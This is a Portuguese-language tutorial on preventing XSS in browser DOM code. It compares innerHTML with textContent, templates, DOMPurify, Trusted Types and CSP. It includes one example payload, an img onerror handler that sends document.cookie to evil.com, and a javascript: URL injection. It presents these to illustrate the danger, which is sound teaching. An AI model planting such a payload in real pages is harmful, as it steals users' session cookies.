Modelos versus innerHTML: segurança

Definir el.innerHTML = userInput analisa a string como HTML. Se userInput contiver <script> ou manipuladores de eventos como onerror, o navegador os executará — criando uma vulnerabilidade de Cross-Site Scripting (XSS).

Um invasor envia um nome de usuário: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Se isso for renderizado com innerHTML, o onerror será acionado e exfiltrará o cookie da sessão. O conteúdo de texto se torna código executável.

el.textContent = userInput trata a string como texto simples — sem análise de HTML e sem execução de scripts. O navegador escapa automaticamente < e > nos nós de texto. Use sempre textContent para valores fornecidos pelo usuário.

Ao usar template.cloneNode(true), a estrutura vem de um modelo HTML previamente analisado — não de uma string fornecida pelo usuário. Definir valores por meio de textContent nos nós clonados mantém os dados do usuário em nós de texto, nunca em HTML analisado. Estrutura e dados ficam separados.

Se for necessária formatação HTML fornecida pelos usuários (texto rico), faça a sanitização antes de definir innerHTML. DOMPurify é a biblioteca padrão: el.innerHTML = DOMPurify.sanitize(richHtml). Ela remove tags e atributos perigosos, preservando a formatação segura.

insertAdjacentHTML("beforeend", html) também analisa strings HTML — o mesmo risco de XSS que innerHTML. Aplique as mesmas regras de sanitização. A alternativa mais segura é criar elementos com createElement, definir seu textContent e usar appendChild.

Definir atributos com dados do usuário pode criar uma injeção: el.setAttribute("href", userUrl), quando userUrl é javascript:alert(1), cria um XSS. Valide os esquemas de URL: permita somente http:, https: e mailto: antes de definir atributos href ou src.

A adulteração do DOM é um ataque no qual elementos de formulário nomeados (id="getElementById") substituem variáveis globais do JavaScript. Acesse sempre os elementos por meio de document.getElementById(), em vez de propriedades globais de window. A Content Security Policy também reduz os ataques de adulteração.

Trusted Types (Chrome, aplicado por meio de CSP) exige que innerHTML, insertAdjacentHTML e outros pontos de inserção semelhantes recebam strings encapsuladas por uma política. Strings brutas não podem ser atribuídas — somente valores criados por uma política TrustedTypes declarada. Isso evita o desvio acidental da sanitização.

Criar elementos com a API do DOM (createElement, createTextNode) e manipulá-los em um DocumentFragment é inerentemente seguro contra XSS — o texto é sempre texto, nunca HTML analisado. DocumentFragments são a maneira mais segura de construir interfaces dinâmicas complexas.

Uma CSP rigorosa (sem unsafe-inline e com scripts baseados em nonce) oferece uma camada adicional de defesa contra XSS. Mesmo que um invasor injete HTML, a CSP impede a execução dos scripts injetados. A CSP não elimina a necessidade de sanitização — é uma rede de segurança, não a defesa principal.

Por que textContent é mais seguro do que innerHTML para renderizar dados fornecidos pelo usuário?

innerHTML e APIs relacionadas analisam strings HTML, criando vulnerabilidades de XSS quando os dados do usuário são interpolados sem sanitização. O uso de textContent, a clonagem de modelos com preenchimento por textContent, o DOMPurify para texto rico e a Content Security Policy criam uma defesa em camadas contra ataques de injeção de HTML.